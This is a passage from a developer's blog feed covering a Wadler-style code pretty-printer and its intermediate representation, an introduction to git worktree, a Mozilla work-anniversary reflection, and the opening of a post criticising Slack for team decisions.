<span class="p">}</span>
<span class="p">]</span>
<span class="p">}</span>
<span class="p">]</span>
<span class="p">}</span>
</code></pre></div></div>
<p>Letās walk through the IR generation now. Skipping the <code class="language-plaintext highlighter-rouge">Program</code> node (which
represents the entire source code), we want to start pretty-printing a variable
declaration (<code class="language-plaintext highlighter-rouge">VariableDeclaration</code> and <code class="language-plaintext highlighter-rouge">VariableDeclarator</code> nodes).</p>
<h3 id="a-simple-ir">A simple IR</h3>
<p>We are only interested in the first part of our input for now, which is
essentially the JavaScript code shown below where the Right-Hand Side (RHS) of
the declaration has been replaced with <code class="language-plaintext highlighter-rouge">...</code>. Weāll get back to that part later.</p>
<p class="can-invert-image-in-dark-mode"><img src="/images/posts/2021/07/code-rhs.webp" alt="" /></p>
<p>In the meantime, this is convenient because it makes the intermediate
representation simple: it is a list of strings. A list implies concatenation of
all the items and a string is rendered as is.</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// The JavaScript array below is our IR!</span>
<span class="p">[</span><span class="dl">'</span><span class="s1">const </span><span class="dl">'</span><span class="p">,</span> <span class="dl">'</span><span class="s1">renderDocument</span><span class="dl">'</span><span class="p">,</span> <span class="dl">'</span><span class="s1"> = </span><span class="dl">'</span><span class="p">,</span> <span class="dl">'</span><span class="s1">...</span><span class="dl">'</span><span class="p">,</span> <span class="dl">'</span><span class="s1">;</span><span class="dl">'</span><span class="p">]</span>
</code></pre></div></div>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// This is the result of our IR once rendered:</span>
<span class="kd">const</span> <span class="nx">renderDocument</span> <span class="o">=</span> <span class="p">...;</span>
</code></pre></div></div>
<p>Note the semi-colon at the end, which isnāt part of the input. When walking the
JavaScript AST, we produce IR specifically for JavaScript. This is why the
translation logic can append a semi-colon to <code class="language-plaintext highlighter-rouge">VariableDeclaration</code>. While the IR
ābuilding blocksā are generic, the parsing and translation layers are
language-specific. <a href="https://github.com/willdurand/demo-pretty-printer/blob/dd4d437893513264b257568d8978df67810736e0/xml-printer.js#L14-L70">Here is an example of translation logic for
XML</a>.</p>
<h3 id="describing-different-layouts">Describing different layouts</h3>
<p>The RHS is an <code class="language-plaintext highlighter-rouge">ArrowFunctionExpression</code> and we want the pretty output to be
rendered differently depending on the print width value because such functions
might have long parameter names, default values, etc. The idea is to print all
the arguments of the function on the same line if the total width is less than
the print width, otherwise we want to print each argument on its own line. The
IR should describe these two options, without having to specify actual values.</p>
<p>The <code class="language-plaintext highlighter-rouge">group</code> function (Prettier calls it a ācommandā) is used to describe content
that should be kept on a single line (like concatenation above) but, if it does
not fit, should be broken at specific locations. These locations are defined
with different <em>lines</em>:</p>
<ul>
<li><code class="language-plaintext highlighter-rouge">HARDLINE</code>: specify a line break that is always included in the output, even
if the expression does not fit on a single line</li>
<li><code class="language-plaintext highlighter-rouge">LINE</code>: specify a line break. If an expression fits on one line, the line
break will be replaced with a space</li>
<li><code class="language-plaintext highlighter-rouge">SOFTLINE</code>: specify a line break. The difference from <code class="language-plaintext highlighter-rouge">LINE</code> is that if the
expression fits on a single line, it will be replaced with nothing (<code class="language-plaintext highlighter-rouge">NIL</code>)</li>
</ul>
<p>We want to break after each function argument so <code class="language-plaintext highlighter-rouge">LINE</code> looks like a good fit.
Letās create a group and add <code class="language-plaintext highlighter-rouge">LINE</code> between each parameter (name, default value
if any, and comma).</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">[</span>
<span class="c1">// This is what we had before.</span>
<span class="dl">"</span><span class="s2">const </span><span class="dl">"</span><span class="p">,</span> <span class="dl">"</span><span class="s2">renderDocument</span><span class="dl">"</span><span class="p">,</span> <span class="dl">"</span><span class="s2"> = </span><span class="dl">"</span><span class="p">,</span>
<span class="c1">// This is NEW!</span>
<span class="p">{</span>
<span class="na">type</span><span class="p">:</span> <span class="dl">"</span><span class="s2">group</span><span class="dl">"</span><span class="p">,</span>
<span class="na">contents</span><span class="p">:</span> <span class="p">[</span>
<span class="dl">"</span><span class="s2">(</span><span class="dl">"</span><span class="p">,</span>
<span class="dl">"</span><span class="s2">doc</span><span class="dl">"</span><span class="p">,</span> <span class="dl">"</span><span class="s2">,</span><span class="dl">"</span><span class="p">,</span>
<span class="nx">LINE</span><span class="p">,</span>
<span class="dl">"</span><span class="s2">fits</span><span class="dl">"</span><span class="p">,</span> <span class="dl">"</span><span class="s2"> = </span><span class="dl">"</span><span class="p">,</span> <span class="dl">"</span><span class="s2">DEFAULT_FITS</span><span class="dl">"</span><span class="p">,</span> <span class="dl">"</span><span class="s2">,</span><span class="dl">"</span><span class="p">,</span>
<span class="nx">LINE</span><span class="p">,</span>
<span class="dl">"</span><span class="s2">indentPrefix</span><span class="dl">"</span><span class="p">,</span> <span class="dl">"</span><span class="s2"> = </span><span class="dl">"</span><span class="p">,</span> <span class="dl">"</span><span class="s2">DEFAULT_INDENT_PREFIX</span><span class="dl">"</span><span class="p">,</span>
<span class="dl">"</span><span class="s2">)</span><span class="dl">"</span><span class="p">,</span> <span class="dl">"</span><span class="s2"> => </span><span class="dl">"</span><span class="p">,</span> <span class="dl">"</span><span class="s2">{</span><span class="dl">"</span><span class="p">,</span> <span class="dl">"</span><span class="s2">}</span><span class="dl">"</span><span class="p">,</span>
<span class="p">]</span>
<span class="p">},</span>
<span class="c1">// This is what we had before.</span>
<span class="dl">"</span><span class="s2">;</span><span class="dl">"</span>
<span class="p">]</span>
</code></pre></div></div>
<p>This would produce the following pretty outputs:</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">//-----------------------------------------------------------------------------| <- 80 chars (broken layout was used)</span>
<span class="kd">const</span> <span class="nx">renderDocument</span> <span class="o">=</span> <span class="p">(</span><span class="nx">doc</span><span class="p">,</span>
<span class="nx">fits</span> <span class="o">=</span> <span class="nx">DEFAULT_FITS</span><span class="p">,</span>
<span class="nx">indentPrefix</span> <span class="o">=</span> <span class="nx">DEFAULT_INDENT_PREFIX</span><span class="p">)</span> <span class="o">=></span> <span class="p">{};</span>
</code></pre></div></div>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">//---------------------------------------------------------------------------------------------------------------------| <- 120 chars (flat layout was used)</span>
<span class="kd">const</span> <span class="nx">renderDocument</span> <span class="o">=</span> <span class="p">(</span><span class="nx">doc</span><span class="p">,</span> <span class="nx">fits</span> <span class="o">=</span> <span class="nx">DEFAULT_FITS</span><span class="p">,</span> <span class="nx">indentPrefix</span> <span class="o">=</span> <span class="nx">DEFAULT_INDENT_PREFIX</span><span class="p">)</span> <span class="o">=></span> <span class="p">{};</span>
</code></pre></div></div>
<p>Ugh! The <em>broken</em> layout version isnāt pretty. We should probably break <em>after</em>
the opening parenthesis using a <code class="language-plaintext highlighter-rouge">SOFTLINE</code>, align all the arguments with one
level of indentation and probably break before the closing parenthesis as well.</p>
<p>We can use a new function named <code class="language-plaintext highlighter-rouge">nest()</code> that will change the current
indentation level. This abstraction allows to later render the same input with 2
spaces, 4 spaces or even tabs. Indentation is only updated after a hard line,
which is why we donāt have to specify that it only applies to the <em>broken</em>
layout.</p>
<p>Here is the final IR of our function:</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">[</span>
<span class="dl">"</span><span class="s2">const </span><span class="dl">"</span><span class="p">,</span> <span class="dl">"</span><span class="s2">renderDocument</span><span class="dl">"</span><span class="p">,</span> <span class="dl">"</span><span class="s2"> = </span><span class="dl">"</span><span class="p">,</span>
<span class="p">{</span>
<span class="na">type</span><span class="p">:</span> <span class="dl">"</span><span class="s2">group</span><span class="dl">"</span><span class="p">,</span>
<span class="na">contents</span><span class="p">:</span> <span class="p">[</span>
<span class="dl">"</span><span class="s2">(</span><span class="dl">"</span><span class="p">,</span>
<span class="c1">// This is NEW!</span>
<span class="p">{</span>
<span class="na">type</span><span class="p">:</span> <span class="dl">"</span><span class="s2">nest</span><span class="dl">"</span><span class="p">,</span>
<span class="na">indent</span><span class="p">:</span> <span class="mi">1</span><span class="p">,</span>
<span class="na">contents</span><span class="p">:</span> <span class="p">[</span>
<span class="nx">SOFTLINE</span><span class="p">,</span>
<span class="dl">"</span><span class="s2">doc</span><span class="dl">"</span><span class="p">,</span> <span class="dl">"</span><span class="s2">,</span><span class="dl">"</span><span class="p">,</span>
<span class="nx">LINE</span><span class="p">,</span>
<span class="dl">"</span><span class="s2">fits</span><span class="dl">"</span><span class="p">,</span> <span class="dl">"</span><span class="s2"> = </span><span class="dl">"</span><span class="p">,</span> <span class="dl">"</span><span class="s2">DEFAULT_FITS</span><span class="dl">"</span><span class="p">,</span> <span class="dl">"</span><span class="s2">,</span><span class="dl">"</span><span class="p">,</span>
<span class="nx">LINE</span><span class="p">,</span>
<span class="dl">"</span><span class="s2">indentPrefix</span><span class="dl">"</span><span class="p">,</span> <span class="dl">"</span><span class="s2"> = </span><span class="dl">"</span><span class="p">,</span> <span class="dl">"</span><span class="s2">DEFAULT_INDENT_PREFIX</span><span class="dl">"</span><span class="p">,</span>
<span class="p">],</span>
<span class="p">},</span>
<span class="c1">// This is NEW!</span>
<span class="nx">SOFTLINE</span><span class="p">,</span>
<span class="dl">"</span><span class="s2">)</span><span class="dl">"</span><span class="p">,</span> <span class="dl">"</span><span class="s2"> => </span><span class="dl">"</span><span class="p">,</span> <span class="dl">"</span><span class="s2">{</span><span class="dl">"</span><span class="p">,</span> <span class="dl">"</span><span class="s2">}</span><span class="dl">"</span><span class="p">,</span>
<span class="p">],</span>
<span class="p">},</span>
<span class="dl">"</span><span class="s2">;</span><span class="dl">"</span><span class="p">,</span>
<span class="p">]</span>
</code></pre></div></div>
<h3 id="the-renderer">The renderer</h3>
<p>The <a href="https://github.com/willdurand/demo-pretty-printer/blob/dd4d437893513264b257568d8978df67810736e0/document.js#L124">logic to render the IR to pretty content</a> is generic because the
intermediate representation contains all the needed information. When the
renderer finds a <code class="language-plaintext highlighter-rouge">group</code> (see <a href="https://github.com/willdurand/demo-pretty-printer/blob/dd4d437893513264b257568d8978df67810736e0/document.js#L231-L241">here</a>), it will measure the
length of the output when its content is appended on the same line. If this
length is lower than the print width, thatās what gets rendered, otherwise the
renderer switches to the <em>broken</em> layout.</p>
<p><code class="language-plaintext highlighter-rouge">LINE</code> and <code class="language-plaintext highlighter-rouge">SOFTLINE</code> are implemented with a <code class="language-plaintext highlighter-rouge">flatChoice</code> function under the
hood, which is defined as follows:</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span>
<span class="nl">type</span><span class="p">:</span> <span class="dl">'</span><span class="s1">flat-choice</span><span class="dl">'</span><span class="p">,</span>
<span class="nx">whenBroken</span><span class="p">:</span> <span class="dl">'</span><span class="s1"><used when layout is broken></span><span class="dl">'</span><span class="p">,</span>
<span class="nx">whenFlat</span><span class="p">:</span> <span class="dl">'</span><span class="s1"><used when layout is flat></span><span class="dl">'</span>
<span class="p">}</span>
</code></pre></div></div>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// This is how `LINE` is defined in my implementation.</span>
<span class="kd">const</span> <span class="nx">LINE</span> <span class="o">=</span> <span class="nx">flatChoice</span><span class="p">(</span><span class="nx">HARDLINE</span><span class="p">,</span> <span class="dl">"</span><span class="s2"> </span><span class="dl">"</span><span class="p">);</span>
</code></pre></div></div>
<p><a href="https://github.com/willdurand/demo-pretty-printer/blob/dd4d437893513264b257568d8978df67810736e0/document.js#L1-L45">There are other functions</a> but <code class="language-plaintext highlighter-rouge">group</code> and <code class="language-plaintext highlighter-rouge">flatChoice</code> are
the ones used to describe multiple layouts and therefore very important.</p>
<p>The IR presented in this article gives us some rendering configuration options
āfor freeā:</p>
<ol>
<li>the desired print width: used to determine when to use the <em>broken</em> layout
(which is used by a <a href="https://github.com/willdurand/demo-pretty-printer/blob/dd4d437893513264b257568d8978df67810736e0/document.js#L69"><code class="language-plaintext highlighter-rouge">fits()</code> function</a> under the hood)</li>
<li>the ātypeā of indentation: used when the indentation level changes. With
<code class="language-plaintext highlighter-rouge">nest()</code>, the IR tells the renderer to indent or dedent the content that
follows by <em>N</em> levels. The renderer is free to use <a href="https://github.com/willdurand/demo-pretty-printer/blob/dd4d437893513264b257568d8978df67810736e0/document.js#L121">any number of spaces or
tabs for a single indentation level</a></li>
<li>the control character to use to indicate the end of a line: while we probably
always want <code class="language-plaintext highlighter-rouge">\n</code>, it could be <a href="https://github.com/willdurand/demo-pretty-printer/blob/dd4d437893513264b257568d8978df67810736e0/document.js#L120">any other character</a></li>
</ol>
<h3 id="results">Results</h3>
<p>Rendering the full intermediate representation shown previously would give
different outputs depending on the print width value:</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">//-----------------------------------------------------------------------------| <- 80 chars</span>
<span class="kd">const</span> <span class="nx">renderDocument</span> <span class="o">=</span> <span class="p">(</span>
<span class="nx">doc</span><span class="p">,</span>
<span class="nx">fits</span> <span class="o">=</span> <span class="nx">DEFAULT_FITS</span><span class="p">,</span>
<span class="nx">indentPrefix</span> <span class="o">=</span> <span class="nx">DEFAULT_INDENT_PREFIX</span>
<span class="p">)</span> <span class="o">=></span> <span class="p">{};</span>
</code></pre></div></div>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">//---------------------------------------------------------------------------------------------------------------------| <- 120 chars</span>
<span class="kd">const</span> <span class="nx">renderDocument</span> <span class="o">=</span> <span class="p">(</span><span class="nx">doc</span><span class="p">,</span> <span class="nx">fits</span> <span class="o">=</span> <span class="nx">DEFAULT_FITS</span><span class="p">,</span> <span class="nx">indentPrefix</span> <span class="o">=</span> <span class="nx">DEFAULT_INDENT_PREFIX</span><span class="p">)</span> <span class="o">=></span> <span class="p">{};</span>
</code></pre></div></div>
<p>ššš</p>
<h2 id="it-is-more-complicated-than-that">It is more complicated than that.</h2>
<p>Is it <em>that</em> simple? <strong>No.</strong></p>
<p>I have been lying to you! Did you see an example with a comment? Or with
multiple logical blocks? This is where things start to be complicated.</p>
<h3 id="empty-lines">Empty lines</h3>
<p>Letās consider the example thereafter, which has two ālogical blocksā. First, we
have two variables defined and grouped together and then a <code class="language-plaintext highlighter-rouge">console.log</code> call:</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">const</span> <span class="nx">a</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
<span class="kd">const</span> <span class="nx">b</span> <span class="o">=</span> <span class="mi">2</span><span class="p">;</span>
<span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">a</span> <span class="o">+</span> <span class="nx">b</span><span class="p">);</span>
</code></pre></div></div>
<p>Most users will naturally want to keep the blank line between the two blocks and
no one will like tools that produce the following output:</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">const</span> <span class="nx">a</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
<span class="kd">const</span> <span class="nx">b</span> <span class="o">=</span> <span class="mi">2</span><span class="p">;</span>
<span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">a</span> <span class="o">+</span> <span class="nx">b</span><span class="p">);</span>
</code></pre></div></div>
<p>In order to keep logical blocks separated, we need extra logic to determine
whether, after each statement, there is one or more blank lines. If thatās the
case, we can introduce a <code class="language-plaintext highlighter-rouge">HARDLINE</code> in the IR, which will also collapse multiple
blank lines into a single one (<a href="https://github.com/willdurand/demo-pretty-printer/blob/dd4d437893513264b257568d8978df67810736e0/js-printer.js#L161-L163">here</a> is how I implemented it for
JS).</p>
<p>Here is a quote from the Prettier docs:</p>
<blockquote>
<p>It turns out that empty lines are very hard to automatically generate. The
approach that Prettier takes is to preserve empty lines the way they were in
the original source code. There are two additional rules:</p>
<ul>
<li>Prettier collapses multiple blank lines into a single blank line.</li>
<li>Empty lines at the start and end of blocks (and whole files) are removed.
(Files always end with a single newline, though.)</li>
</ul>
</blockquote>
<p>Depending on the programming language or parser (more on that in the next
section), this might not be too difficult. As for comments, this is a completely
different story!</p>
<h3 id="comments">Comments</h3>
<p>First, most parsers arenāt lossless. ASTs are by definition, wellā¦ <em>abstract</em>.
Comments are usually not included in ASTs and when they are present, they arenāt
attached to nodes. This is a problem because where should comments be placed?</p>
<p>We can try to reattach comments to AST nodes if the parser provides locations or
we could use a lossless parser like <a href="https://github.com/rust-analyzer/rowan">rowan</a>. Prettier provides a framework to
handle comments and it is a lot better than what I implemented to <a href="https://github.com/willdurand/demo-pretty-printer/blob/dd4d437893513264b257568d8978df67810736e0/js-ast.js#L16-L26">reattach
comments</a>.</p>
<p>Here is another quote from the Prettier docs:</p>
<blockquote>
<p>When it comes to the content of comments, Prettier canāt do much really. [ā¦]</p>
<p>Then thereās the question of where to put the comments. Turns out this is a
really difficult problem. Prettier tries its best to keep your comments
roughly where they were, but itās no easy task because comments can be placed
almost anywhere.</p>
</blockquote>
<h3 id="idiomatic-patterns">Idiomatic patterns</h3>
<p>The third constraint that we have when building a code formatter is to fine-tune
the pretty output to respect some popular patterns. So far, weāve seen how to
render the same content depending on the print width but we could go further and
have specific layouts depending on the code itself.</p>
<p>Letās take an example with curried arrow functions (see <a href="https://github.com/prettier/prettier/commit/046ffb11f980269937b2e58a30567efdcdbf230c">this Prettier
patch</a>):</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// This is the input, which looks quite good already.</span>
<span class="kd">const</span> <span class="nx">currying</span> <span class="o">=</span>
<span class="p">(</span><span class="nx">argument1</span><span class="p">)</span> <span class="o">=></span>
<span class="p">(</span><span class="nx">argument2</span><span class="p">)</span> <span class="o">=></span>
<span class="p">(</span><span class="nx">argument3</span><span class="p">)</span> <span class="o">=></span>
<span class="p">(</span><span class="nx">argument4</span><span class="p">)</span> <span class="o">=></span>
<span class="p">(</span><span class="nx">argument5</span><span class="p">)</span> <span class="o">=></span>
<span class="p">(</span><span class="nx">argument6</span><span class="p">)</span> <span class="o">=></span>
<span class="nx">foo</span><span class="p">;</span>
</code></pre></div></div>
<p>With some trivial modifications to my implementation (required because the JS
formatter in my demo project does not support <em>all</em> JS syntaxes), this is how it
would be pretty-printed:</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">const</span> <span class="nx">currying</span> <span class="o">=</span> <span class="p">(</span><span class="nx">argument1</span><span class="p">)</span> <span class="o">=></span> <span class="p">{</span>
<span class="k">return</span> <span class="p">(</span><span class="nx">argument2</span><span class="p">)</span> <span class="o">=></span> <span class="p">{</span>
<span class="k">return</span> <span class="p">(</span><span class="nx">argument3</span><span class="p">)</span> <span class="o">=></span> <span class="p">{</span>
<span class="k">return</span> <span class="p">(</span><span class="nx">argument4</span><span class="p">)</span> <span class="o">=></span> <span class="p">{</span>
<span class="k">return</span> <span class="p">(</span><span class="nx">argument5</span><span class="p">)</span> <span class="o">=></span> <span class="p">{</span>
<span class="k">return</span> <span class="p">(</span><span class="nx">argument6</span><span class="p">)</span> <span class="o">=></span> <span class="p">{</span>
<span class="k">return</span> <span class="nx">foo</span><span class="p">;</span>
<span class="p">};</span>
<span class="p">};</span>
<span class="p">};</span>
<span class="p">};</span>
<span class="p">};</span>
<span class="p">};</span>
</code></pre></div></div>
<p>Prettier used to print the input above like this:</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">const</span> <span class="nx">currying</span> <span class="o">=</span> <span class="p">(</span><span class="nx">argument1</span><span class="p">)</span> <span class="o">=></span> <span class="p">(</span><span class="nx">argument2</span><span class="p">)</span> <span class="o">=></span> <span class="p">(</span><span class="nx">argument3</span><span class="p">)</span> <span class="o">=></span> <span class="p">(</span><span class="nx">argument4</span><span class="p">)</span> <span class="o">=></span> <span class="p">(</span>
<span class="nx">argument5</span>
<span class="p">)</span> <span class="o">=></span> <span class="p">(</span><span class="nx">argument6</span><span class="p">)</span> <span class="o">=></span> <span class="nx">foo</span><span class="p">;</span>
</code></pre></div></div>
<p>In both cases, this isnāt ideal. We really want to keep the input as output
because it is more readable in this case. While Wadlerās IR and renderer will
happily pretty-print any content, fine tuning the translation layer is the
complicated part.</p>
<h2 id="conclusion">Conclusion</h2>
<p>I know a lot more about code formatters than before. It is still quite limited
to one popular algorithm but I dug enough to understand some of the challenges
when it comes to pretty-printing content. This is a hard problem.</p>
<p>While implementing Wadlerās algorithm isnāt <em>that</em> complicated (and we can find
many implementations), correctly handling comments and empty lines are crucial
and there isnāt a popular algorithm for that. Prettier is a great framework to
build solid code formatters and it isnāt limited to JavaScript: there are
plugins for many languages.</p>
<p>It sounds like I felt in love with Prettier or something. No, but knowing how it
really works and which problems it actually solves is super interesting and
mind-blowing to me.</p>
An introduction to `git worktree`2021-05-05T00:00:00+00:00https://williamdurand.fr/2021/05/05/an-introduction-to-git-worktree<p>This is a quick introduction to a <code class="language-plaintext highlighter-rouge">git</code> feature I use quite often because I find
it better than simple branches in some cases.</p>
<p><code class="language-plaintext highlighter-rouge">git worktree</code> can help <a href="https://git-scm.com/docs/git-worktree">āmanage multiple working trees attached to the same
repositoryā</a>. Instead of having different branches within the same
folder, you have distinct folders (working trees) bound to the same git
repository. In other words, this feature allows you to work on different
branches at the same time.</p>
<p>Why do I like this feature? Letās find out!</p>
<h2 id="spikes-and-code-reviews">Spikes and code reviews</h2>
<p>I do code reviews every day and I like to <a href="/2020/01/27/suggested-changes-in-code-reviews/">checkout the code
locally</a> pretty much every time. When I am working on a <a href="https://en.wikipedia.org/wiki/Spike_(software_development)">spike</a>
for <code class="language-plaintext highlighter-rouge">$PROJECT</code> (in parallel), which usually takes several days, I use <code class="language-plaintext highlighter-rouge">git
worktree</code> to avoid āWIPā (Work In Progress) commits or stashes. My current spike
lives in a different folder than the main local repository for <code class="language-plaintext highlighter-rouge">$PROJECT</code>, and I
can use the latter to checkout Pull Requests and do the reviews.</p>
<p>One might think that I could use <code class="language-plaintext highlighter-rouge">git stash</code> or a different branch and do <code class="language-plaintext highlighter-rouge">git
commit -am "wip"</code>. Iāve done that. I even have <a href="https://github.com/willdurand/dotfiles/tree/17d9b2643abcbac07347270589e142b0fe944172/git/commands">custom git
commands</a> and <a href="https://github.com/willdurand/dotfiles/blob/17d9b2643abcbac07347270589e142b0fe944172/git/gitconfig#L52">git aliases</a> to simplify repetitive
tasks. Yet, itās far from ideal: I have to commit everything to āsaveā the state
of my spike, make sure that I donāt have a local (git-ignored) configuration
when I switch to a different branch, update the projectās dependencies, and,
when Iām done with the review, āundoā everything to restore the state of the
spike. It isnāt very efficient.</p>
<h2 id="benchmarks-and-other-comparisons">Benchmarks and other comparisons</h2>
<p>This isnāt a very common use case but I sometimes need to run the same
application with two different configurations and check the differences.</p>
<p>In the past, I did that sequentially and it was error-prone because I couldnāt
check the differences with the two application flavors running side-by-side. In
order to achieve that, I had to clone the same repository a second time.</p>
<p><code class="language-plaintext highlighter-rouge">git worktree</code> gives the same experience except that there is no need to clone
the repository again. The ācopiesā (= working trees) created with <code class="language-plaintext highlighter-rouge">git worktree</code>
point to the git history and configuration of the main repository. Indeed, there
is no <code class="language-plaintext highlighter-rouge">.git/</code> folder in a ācopyā created with <code class="language-plaintext highlighter-rouge">git worktree</code>. Instead, there is
a simple <code class="language-plaintext highlighter-rouge">.git</code> file with the following content:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gitdir: /path/to/main/git/repo/.git/worktrees/some-worktree
</code></pre></div></div>
<p>Each working tree is a git repository and has access to the full git history,
remotes, etc. but everything is stored in the main repository. This is the
reason why <code class="language-plaintext highlighter-rouge">git branch</code> shows the local branches as well as the different
<em>worktrees</em> for instance:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ git branch
some-local-branch-in-main-repo
+ some-worktree
* main
</code></pre></div></div>
<p>Like any other git repository, itās possible to create new branches, push
to/pull from a remote, etc. in a working tree created with <code class="language-plaintext highlighter-rouge">git worktree</code>.</p>
<h2 id="how-to-use-git-worktree">How to use <code class="language-plaintext highlighter-rouge">git worktree</code>?</h2>
<p>I donāt use <code class="language-plaintext highlighter-rouge">git worktree</code> on all projects. For those where it will likely be
used, I have my own convention. I clone the main repository in a folder whose
name is the projectās name:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ tree -L 1 ~/projects/mozilla/addons-frontend
/Users/william/projects/mozilla/addons-frontend
āāā addons-frontend
</code></pre></div></div>
<p>You might want to name the main repository folder <code class="language-plaintext highlighter-rouge">main</code> or <code class="language-plaintext highlighter-rouge">master</code> instead. I
reuse the projectās name because <a href="https://github.com/willdurand/dotfiles/blob/17d9b2643abcbac07347270589e142b0fe944172/tmux/tmux.conf#L42">my tmux config automatically sets the window
names based on the current paths</a>. It wouldnāt be very useful to have
several āmainā windowsā¦</p>
<p>From the main repository, I can create a new working tree with the following
command:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ git worktree add ../some-worktree
</code></pre></div></div>
<p>This will result in a new folder created next to the āmainā one:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ tree -L 1 ~/projects/mozilla/addons-frontend
/Users/william/projects/mozilla/addons-frontend
āāā addons-frontend
āāā some-worktree
</code></pre></div></div>
<p>As a side note, my tmux session with the two working trees opened (+ another
project) would look like:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>moz ā§ 1:addons-frontend 2:some-worktree 3:other-project
</code></pre></div></div>
<p>There are other commands to manage <em>worktrees</em> like <code class="language-plaintext highlighter-rouge">git worktree remove</code> and
<code class="language-plaintext highlighter-rouge">git worktree prune</code>. I let interested readers browse the <a href="https://git-scm.com/docs/git-worktree">git
documentation</a>.</p>
<p>Hopefully this introduction has been useful to you. Iād be happy to discuss with
you about this git feature or how you approach some of the use cases described
above in a different way, <em>ciao!</em></p>
Moziversary #32021-05-01T00:00:00+00:00https://williamdurand.fr/2021/05/01/moziversary-3<p><em>Three years at Mozilla, yay! š Itās my longest time at the same company, and I
am now a <a href="/2021/02/26/i-got-a-promotion/">Staff Software Engineer</a>. What a ride!</em></p>
<p>A year ago, <a href="/2020/05/01/moziversary-2/">I wrote that I was starting to be more involved in
Firefox</a>. I worked on very diverse projects in 2020 but one of
them was super fun: we revamped the AMO statistics and it required backend
changes on AMO, some ETL/BigQuery work, and new data collection in Firefox. I
worked on all those components and learned a lot of stuff along the way. I also
[deleted a lot of code]<sup id="fnref:deleted-code" role="doc-noteref"><a href="#fn:deleted-code" class="footnote" rel="footnote">1</a></sup>, [changed a lot of code]<sup id="fnref:black" role="doc-noteref"><a href="#fn:black" class="footnote" rel="footnote">2</a></sup>,
contributed to Firefox for Android (Fenix), created new libraries to support the
work of my team, continued to work on security stuff, and even wrote some PHP
lately.</p>
<p>My role is constantly evolving. By knowing every bit of the AMO platform and
expanding my skill sets with contributions in Firefox, I am hoping to have a
wider vision of add-ons in general, from a technical perspective. I am doing my
best to bridge the gap between the AMO and WebExtensions engineering teams,
which will be welcomed as more Product requirements need changes in both
contexts.</p>
<p>Now, thinking about the last 12 months, there are areas that I would like to
improve.</p>
<p>I mentioned it above, I work on very different projects and components. Itās
exciting because I am never bored, I can help many folks and I learn a lot but
context switching is hard. My tmux session has ~10 windows open all the time
nowadays (one per project) so I had to adapt. I wrote a bunch of scripts to
automate some maintenance tasks, I started to dedicate specific days to certain
projects, and I learned to be more strict about priorities. I still have some
work to do on that front, though.</p>
<p>I noticed that all these different projects kinda āforcedā me to āmove fastā,
and too fast actually. It didnāt negatively impact anything (yet) but Iāve
definitely been reminded that the answer to my question was in the GitHub issue
that I had just read. Hence I am working on taking more time to thinkā¦ and
Iāll also take the opportunity to refine my communication skills.</p>
<p>Last, I am extremely happy at Mozilla and I am super lucky to be part of the
amazing Add-ons team. I would like to thank everyone in my team as well as all
the folks I worked with so far! I wouldnāt be where I am today without you ā¤ļø</p>
<div class="footnotes" role="doc-endnotes">
<ol>
<li id="fn:deleted-code" role="doc-endnote">
<p>This used to be a link to a <a href="https://twitter.com/couac/status/1321017805207228416">tweet from
me</a>. I tweeted a
screenshot with diff stats, showing a lot of code removed after I removed a
lot of code in a project.Ā <a href="#fnref:deleted-code" class="reversefootnote" role="doc-backlink">↩</a></p>
</li>
<li id="fn:black" role="doc-endnote">
<p>This used to be a link to a <a href="https://twitter.com/couac/status/1336738803453714434">tweet from
me</a>. I tweeted a
screenshot with diff stats, showing a lot of changed code after having
applied a python code formatter on a large codebase.Ā <a href="#fnref:black" class="reversefootnote" role="doc-backlink">↩</a></p>
</li>
</ol>
</div>
Yes, it happened on Slack2021-04-29T00:00:00+00:00https://williamdurand.fr/2021/04/29/yes-it-happened-on-slack<p>There we are.</p>
<blockquote>
<p>Yes, it happened on Slack</p>
</blockquote>
<p>Here, <em>āitā</em> refers to a decision, an agreement or some important results. All
of these should NOT have been left in Slack alone. At the very least, the Slack
threads or some key messages should have been copied to some more open and
permanent places like Bugzilla or GitHub (in public issues).</p>
<p>It wonāt come as a surprise, I donāt like Slack (but <a href="https://tailordev.fr/blog/2016/03/24/on-remote-work/">it wasnāt always like
that</a>). There is a reason to that: it is <strong>the antithesis of
working in the open</strong>. What happens in Slack stays in Slack. What stays in Slack
is basically lost forever. āChat appsā arenāt the right tool for
decision-making, especially when working with external contributors and
distributed teams across the globe.</p>
<p>I understand the need for synchronous communication but (1) we have Matrix at
Mozilla, which is open at least, and (2) we should not use Slack for
asynchronous communication. Letās just use it for quick feedback, instant chats
about sensitive topics, GIFs, and emoji on every other message. Joke aside, itās
